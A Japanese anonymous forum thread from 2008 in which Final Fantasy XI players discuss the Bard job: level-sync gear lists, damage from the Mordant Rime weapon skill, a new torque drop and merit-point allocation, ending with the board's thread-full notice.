935 名前： 名も無き軍師 投稿日：2008/09/09(火) 20:30:14 ID:DxKoDi04: >>924
ナイズル・サルをまともに進行してる人間ならファイフは当然過ぎるっしょ
もってない人間が来ると寧ろ困るって言うか…
たまたま後衛が初心者だったんじゃない？
936 名前： 名も無き軍師 投稿日：2008/09/09(火) 20:39:22 ID:LaNII5w5: エヴィよりつよいの？ｗ
殴り詩人の俺歓喜ｗｗ
937 名前： 名も無き軍師 投稿日：2008/09/09(火) 22:42:36 ID:bZ8cpE/A: 詩人的には、レベルシンクはどーでもよさそうだが
Lv30制限でこんな感じでした。

ペーパーナイフ 22 -> 111 AGI+2 CHA+2 神！？
バードラウンドリト 7 CHA+1
コラルラウンドリド 7 MND+1
コラルジュストコル 18
コラルカフス 6 CHA+1
コラルキャニオンズ 13
コラルスリッパー 6 HP+10
メロディーピアス CHA+1
メヌエットピアス STR+1 DEX+1
グリーマンベルト 2 CHA+1
938 名前： 名も無き軍師 投稿日：2008/09/09(火) 22:43:19 ID:bZ8cpE/A: おまけ

メンサーエペ 22 -> 108
ルーンブレード 22 -> 108
金髪 HP-12 MP+15
フローラコタルディ 17 VIT-2 MND-3 CHA-3(HP減らない) (＾ω＾#)
ルビーの指輪 STR+1
長舌の指輪 STR+1 AGI+1
エーテルリング飾り
マナリング MP+15
ウォーウルフベルト 3 STR DEX VIT+1
マリンFブーツ 6 INT-3 MND-3 CHA-3 HP+10 (＾ー＾;;;
カスタムパンツ(そうびれべる３１) 12 STR-1 ちょｗをまｗｗｗ
939 名前： 名も無き軍師 投稿日：2008/09/10(水) 02:50:33 ID:BR2YGDQi: これはひどいｗｗｗ
940 名前： 名も無き軍師 投稿日：2008/09/10(水) 03:34:29 ID:Ne402QTg: CHA？
941 名前： 名も無き軍師 投稿日：2008/09/10(水) 03:50:14 ID:z4c9OAQ9: カスタムパンツわろた
942 名前： 名も無き軍師 投稿日：2008/09/10(水) 08:26:04 ID:kb/arsW4: >CHA？
char...じゃねー！
職業病なんだ、見逃してくれ；；
943 名前： 名も無き軍師 投稿日：2008/09/10(水) 18:49:54 ID:/a+jTReo: モーダントライム湾曲でした
　
以上報告おわり
944 名前： 名も無き軍師 投稿日：2008/09/10(水) 21:54:32 ID:+RUty298: 分解/湾曲じゃね？
945 名前： 名も無き軍師 投稿日：2008/09/10(水) 22:13:24 ID:a5hthGYL: >>936
確かに強いけどエヴィに毛が生えたくらい。でも強いか強くないかといえば、強い。
クフカニ相手だがエヴィは５回フルヒットで平均３３０くらいで、モダは２回ヒットで３７０くらい。
946 名前： 名も無き軍師 投稿日：2008/09/10(水) 22:44:33 ID:a5hthGYL: でもミシックＷＳは全部隠しで何か行動起こすとダメージアップするから
もっとダメが上がるかもしれん。

またはもうダメージアップしてこの数字かもしれんｗ
947 名前： 名も無き軍師 投稿日：2008/09/10(水) 22:48:31 ID:+RUty298: ピーアンピーアンありとなしでモーダントライム撃ってみたけどダメは誤差だなあ
詩人ならではの特徴っていえばやっぱ歌しかないと思ったんだが違うみたい
948 名前： 名も無き軍師 投稿日：2008/09/10(水) 22:51:57 ID:eC+IfeQW: 自分と敵含めて呪歌のかかってる数とか？
949 名前： 名も無き軍師 投稿日：2008/09/10(水) 23:05:50 ID:X307Dzr1: 短剣に付いてる性能で、魔法命中や歌の残効果時間とかが影響したり・・
950 名前： 名も無き軍師 投稿日：2008/09/11(木) 02:31:02 ID:jziCmmTL: Lこり相手にWS装備に着替えてモーダン撃って
平均800～900　たまに1200とか出たよー
951 名前： 名も無き軍師 投稿日：2008/09/11(木) 05:27:30 ID:zayUn84M: >>950
そりゃ突特効だから出るだろうｊｋ
952 名前： 名も無き軍師 投稿日：2008/09/11(木) 10:26:07 ID:528xOgpx: ところでお前らレベルシンクで誘いきた？
折角白門で放置してるのに、誘いが来なかったぜ・・・
953 名前： 名も無き軍師 投稿日：2008/09/11(木) 10:28:43 ID:fsNG/+uu: レベルシンク希望とでも書いてなきゃ来ないだろ
954 名前： 名も無き軍師 投稿日：2008/09/11(木) 10:51:24 ID:df4auTYG: >>950
次スレよろ
955 名前： 名も無き軍師 投稿日：2008/09/11(木) 12:41:44 ID:GrWeuItR: やっぱモーダンはサポ忍二刀流で４００未満だなあ。他のジョブに比べて普通すぎ。
956 名前： 名も無き軍師 投稿日：2008/09/11(木) 13:21:55 ID:heK+PTIq: >>950
次スレよろ
957 名前： 名も無き軍師 投稿日：2008/09/11(木) 13:49:54 ID:Moccz+qm: ミシックウェポンの効果時間が倍だとしたら
トルバで約10分、メリポ5振りでリキャ10分になるから
1時間で6回しか歌わなくてもよい状態になる・・・という妄想
958 名前： 名も無き軍師 投稿日：2008/09/11(木) 14:23:52 ID:UUWEdJsq: モーダントライム覚えた

テリガンカニに歌なしで450～700ほどだった
装備は以下、TP100即打ち。
ブラオジュワ
ワラタクジャク素破ブルタル
麒麟大袖ダスク手ラジャスウルタラム
アメミHQ スウィフト白虎ゴリアード

1回だけメヌメヌで980出たがDAだったかもしれない
弱くは無いし安定してるが使う場面はまぁないわな
959 名前： 名も無き軍師 投稿日：2008/09/11(木) 17:14:21 ID:QLaO571j: 詩人が殴ることないもんな
そら楽器だけで勝負せよって言われるくらいだし
960 名前： 名も無き軍師 投稿日：2008/09/11(木) 20:31:56 ID:+sit/23/: >>950
次スレよろ
961 名前： 名も無き軍師 投稿日：2008/09/11(木) 20:33:46 ID:Dj6fjoQZ: パイパートルク Rare CHR+5 管楽器スキル+5 カンパニエ：管楽器スキル+10 Lv69～吟
ベドーのインプNMがおとしたの確認
周り掃除すれば十分１PTもいればいける。
962 名前： 名も無き軍師 投稿日：2008/09/11(木) 20:35:56 ID:pWa+DR7S: >>961
乙
しっかし中途半端な性能だよなぁ
963 名前： 名も無き軍師 投稿日：2008/09/11(木) 20:55:46 ID:eWTyOxWu: カンパニエで管楽器スキル増えてもナァ・・・
964 名前： 名も無き軍師 投稿日：2008/09/11(木) 22:08:30 ID:hGPWKzym: CHR+5は正直悪く無いね
管楽器+2＜CHR+5だとは思う
965 名前： 名も無き軍師 投稿日：2008/09/11(木) 22:13:26 ID:T1a2GlxW: お前ら頭おかしいだろ
敵歌最強の性能じゃんか
966 名前： 名も無き軍師 投稿日：2008/09/11(木) 22:48:09 ID:dMWi7LgO: PukBCの寝かせで、いっつも１～２匹漏れるんだけど、なんかコツとかある？
弦で歌うと、ララの効果範囲広くなるとかあるの？
967 名前： 名も無き軍師 投稿日：2008/09/11(木) 23:30:58 ID:V5wtQiYn: 管楽器と弦楽器のララバイの範囲（円形）は同じ
ララバイの届く距離がかわるだけ

１～２匹もれるのは、歌いはじめるのが早すぎるかも
968 名前： 名も無き軍師 投稿日：2008/09/11(木) 23:35:11 ID:exLJdJmr: >>965
微妙だっていってるのはカンパニエの部分だろ
頭悪いな
969 名前： 名も無き軍師 投稿日：2008/09/12(金) 00:16:45 ID:RSBVduKr: ウィンドを持ってる人が敢えてパイパーに乗り換える程でもないんだよなぁ
良い物だけど中途半端
970 名前： 名も無き軍師 投稿日：2008/09/12(金) 00:19:58 ID:68OwEhJp: カンパニエ：管楽器スキル+10
って酷いな・・・せめて過去エリア全域とかに・・
971 名前： 名も無き軍師 投稿日：2008/09/12(金) 00:30:52 ID:3sWr0egJ: スキルブーストなんかしなくてもレジなんかねーしなぁカンパニエの敵は
972 名前： 名も無き軍師 投稿日：2008/09/12(金) 00:38:01 ID:VDpn0V+x: それに、カンパニエで稼ぐ目的じゃ、無効だとアレだけど、レジされても関係ないしな。

いちおう、ステ2≒スキル1≒命中1の法則が歌にもあるとすると、命中0.5%向上
かもしれんが、マチだと効果下がる可能性あるからなぁ。
今までウィンドで着替えしなかった部位なだけに、いい装備なんだが、微妙すぎる。
973 名前： 名も無き軍師 投稿日：2008/09/12(金) 00:40:47 ID:1eBVihYt: >>950
次スレよろ
974 名前： 名も無き軍師 投稿日：2008/09/12(金) 01:30:14 ID:VZ3GtbNS: >>967
スルーされてるけど、これ間違いだよな？
975 名前： しじんさん ◆W6VhmVf46g 投稿日：2008/09/12(金) 02:19:46 ID:YDRprmdk: >>967
>>974
間違いだねえ、おもいっきり反対だわ。
射程距離は管でも弦でも同じ。効果範囲が変わるん。

>>950踏み逃げみたいだから、下手だけど
スレ立て申請してきたよ。変だったらごめんね。
976 名前： 名も無き軍師 投稿日：2008/09/12(金) 12:44:32 ID:RSBVduKr: パイパーがCHR+6だったりすれば周りの評価も違ったんだろうけどねぇ
マーチの事もあるし、この性能じゃウィンドから持ち帰る手間も考えると凄く微妙・・・。
977 名前： 名も無き軍師 投稿日：2008/09/12(金) 13:42:58 ID:LN7kpB2a: 微妙微妙連呼しなくても
間違いなくお前ら貧弱一般人には手に入らない値段になるから安心しろ
978 名前： 名も無き軍師 投稿日：2008/09/13(土) 01:25:38 ID:578hiTNh: 詩人の先達の方々に伺いたい事があります。

先日ＬＳで同じく詩人の友人とメリポカテゴリー１の話をしていたのですが、
私のカテゴリー１はララとフィナーレの全振りに対し、
友人はララとメヌの全振りと異なった振り方で、どちらの方が利点が多いのかを話し合った折の話です。

ララは共通していたので省くとしまして、
私はフィナーレの短縮がララ短縮に次いで次点で便利であると思いフィナーレに振っているのですが、
友人によるとフィナーレはシャイフ手着用で短縮すれば問題ないと、
またフィナーレがレジストされる程の相手は小数に限られ、
そういった相手と対峙する場合は、アラ単位で行動している場合が多く
一人の詩人が多少リキャ短縮していようがそう大差はないので、
その時だけスキル装備にすれば良いと言う回答でした。

また、メヌは１振りで攻撃力＋１しか上がらず
全振りしても攻撃力が＋５しか上がらないのでは効果が薄いのではとも問うたのですが、
積み重ねの重要性を説かれ、またソウル使用時には効果の面でも倍になり引き離す事が可能であると力説され
現在カテゴリー１をフィナーレからメヌに振り直そうかと悩んでおります。

全部振り直すと１５ポイントのリミットポイントが必要であり、なかなか決心出来ずにいます。
もしよろしければカテゴリー１をどのように振っているのか意見を伺いたいです。
979 名前： 名も無き軍師 投稿日：2008/09/13(土) 03:33:40 ID:8Y0lKM/V: モーダントライムは単なるCHR補正っぽいな
CHR+7でサルタの楽ヤグに平均340くらい、CHR+54で490くらい
メヌメヌあると700くらいになった
980 名前： 名も無き軍師 投稿日：2008/09/13(土) 04:30:34 ID:mtjHkVwO: >>978
ぶっちゃけララ以外は好みだから。
メヌなんてソウルでも一曲分で１０です。無いよりいいって程度です。
ソウル使うような場面はマチマチかメヌマチだし、そんだけ強力な効果かかってる状況じゃそこまで拘るようなもんでも。
フィナーレも局所的に短縮してると有効な場面もあるし(ナイズルイカとか)、自分の好きな方でいい。
981 名前： 名も無き軍師 投稿日：2008/09/13(土) 05:44:50 ID:X6W4NSWw: >>978
二人共詩人で一緒に行動することがあるなら
同じ振りより異なった振り方してたほうが利点はあるんじゃないかな

まあとりあえず振り直してまでメヌ＋5に価値はないです
982 名前： 名も無き軍師 投稿日：2008/09/13(土) 12:08:42 ID:iYKbIKuc: wsの追加効果は何枠なんだ？　ヘヴィと別枠なら悪くないと思うんだがｗ
983 名前： 名も無き軍師 投稿日：2008/09/13(土) 16:47:17 ID:ZgdxBvni: ヘヴィじゃなくて移動速度ダウンだから別枠だと思う
当たればグラビデ並に遅くなるし、持続時間も30秒は持ってたと思う
楽表示相手だったから格上には分からんが
984 名前： 名も無き軍師 投稿日：2008/09/13(土) 18:18:47 ID:iYKbIKuc: グラ耐性持ってる奴にも入るなら面白そうだな
985 名前： 名も無き軍師 投稿日：2008/09/14(日) 05:38:14 ID:WUS76E5m: >>978
俺もララ5フィナ5だね。

メヌ5の人は大昔メリポがメヌメヌ主流だった時代に+10目当てで上げたんじゃないだろうか。
フィナーレのリキャはイラっと来る事あったけどメヌ+5は大勢に影響が無いからな・・。
PTに強化消し詩1だけなんて時はフィナ短縮は役立つし環境次第じゃなかろうか。
そのフレさんの嗜好もあると思うし好みでいいんでない？
986 名前： 名も無き軍師 投稿日：2008/09/14(日) 11:21:30 ID:W4muz8eo: さっき確認したらヘヴィの効果がきれた。とか出たからやっぱヘヴィ枠らしい(゜Д゜)
987 名前： 名も無き軍師 投稿日：2008/09/14(日) 23:28:55 ID:ZAWCGCee: マドは素の命中アップが１５と２５なので、
マド５振りするとシマムにもメヌマドで済むようになる。
忍シマムの前後で、いちいち歌変更面倒くさかったらお勧めする。
988 名前： 名も無き軍師 投稿日：2008/09/14(日) 23:36:25 ID:ZAWCGCee: 大してメヌは素の攻撃アップが４８と５６なので、
メヌ５振りをしても目立った変化は現れにくい。

メリポで忍シマムの前後に、
メヌマド＞マドマド＞マドメヌ＞メヌマチといった歌い回しを考えて出来るなら、
最高性能を求める意味でいいかもしれない。

多分前衛のWSのダメージが平均で20とか上がるかもしれない。
通常ダメージ平均が0.?上がるかもしれない。
989 名前： 名も無き軍師 投稿日：2008/09/15(月) 04:18:36 ID:Hk95dT+z: フィナーレでアイスパ消した瞬間に再詠唱されるとイラっとするので
俺はフィナーレ5にした。

>>978は友人に有利な状況での説明で上手い事まるめ込まれてる感じがするｗ
990 名前： 名も無き軍師 投稿日：2008/09/15(月) 07:05:35 ID:okwT50IH: その友人は常に片方はメヌにしてそう。
フィナーレとメヌどちらに振るかは考え方と立ち回りによる思う。
991 名前： 名も無き軍師 投稿日：2008/09/15(月) 08:45:43 ID:MuUn/ffN: >>990
マドマド一切しないのにメヌ５振りってあほだな。
攻撃５と命中５、どっちが装備で補えるかっていったら
命中５のがずっと難しいのに

シャイフ手なんて鯖に２桁ギリある程度だし、
フィナーレも振る価値十分にあるけどな。

イカの強化2枚+アイスパ剥がさないといけない時は、リキャ足りない。
サルベでたくさんの骨を全部アイスパ消すのにも役に立つ。
キラーロードのブレスパ消しにもリキャたまに足りなくなる。
992 名前： 名も無き軍師 投稿日：2008/09/15(月) 11:56:06 ID:/0D+31OX: ライトグリップとアースグリップって着替えで使ってる人いる？
993 名前： 名も無き軍師 投稿日：2008/09/15(月) 12:15:20 ID:9V8gHRYF: >>992
たいかんｗできないけれど気休めで付け替えてる
マクロの行数が足りなくて付け替えがダルイけど('A`;
994 名前： 名も無き軍師 投稿日：2008/09/15(月) 12:29:25 ID:/0D+31OX: そうなんです。私も行数足りなくて
995 名前： 名も無き軍師 投稿日：2008/09/15(月) 12:48:45 ID:9V8gHRYF: >>994
行数が足りないから着替えだけで1ページ埋めそうな勢い
996 名前： 名も無き軍師 投稿日：2008/09/15(月) 16:28:15 ID:T7rnHftg: どっちももってるけど、ライトつけっぱだなー
でも、ミンスト用に便利だよな、このグリップｗ
997 名前： 名も無き軍師 投稿日：2008/09/15(月) 17:39:56 ID:VVCOjVf5: シャイフ手ってそんなにレア物だったっけ?
998 名前： 名も無き軍師 投稿日：2008/09/16(火) 00:48:45 ID:5ig5Jj5v: シャイフとフィナ短縮あればさらに快適
999 名前： 名も無き軍師 投稿日：2008/09/16(火) 15:44:03 ID:sD2eehqx: 自分で取れたら光グリップとか使うけど買ってまで使おうとは思わないな～
1000 名前： 名も無き軍師 投稿日：2008/09/16(火) 16:53:25 ID:ivkrwGjN: 光グリップも土グリップもどっちも安いから買ったなぁ
1個20万30万するってんなら兎も角、そうじゃないんだから買ってしまえばいいのに。
1001 名前： １００１ 投稿日：Over 1000 Thread: このスレッドは１０００を超えました。
もう書けないので、新しいスレッドを立ててくださいです。。。

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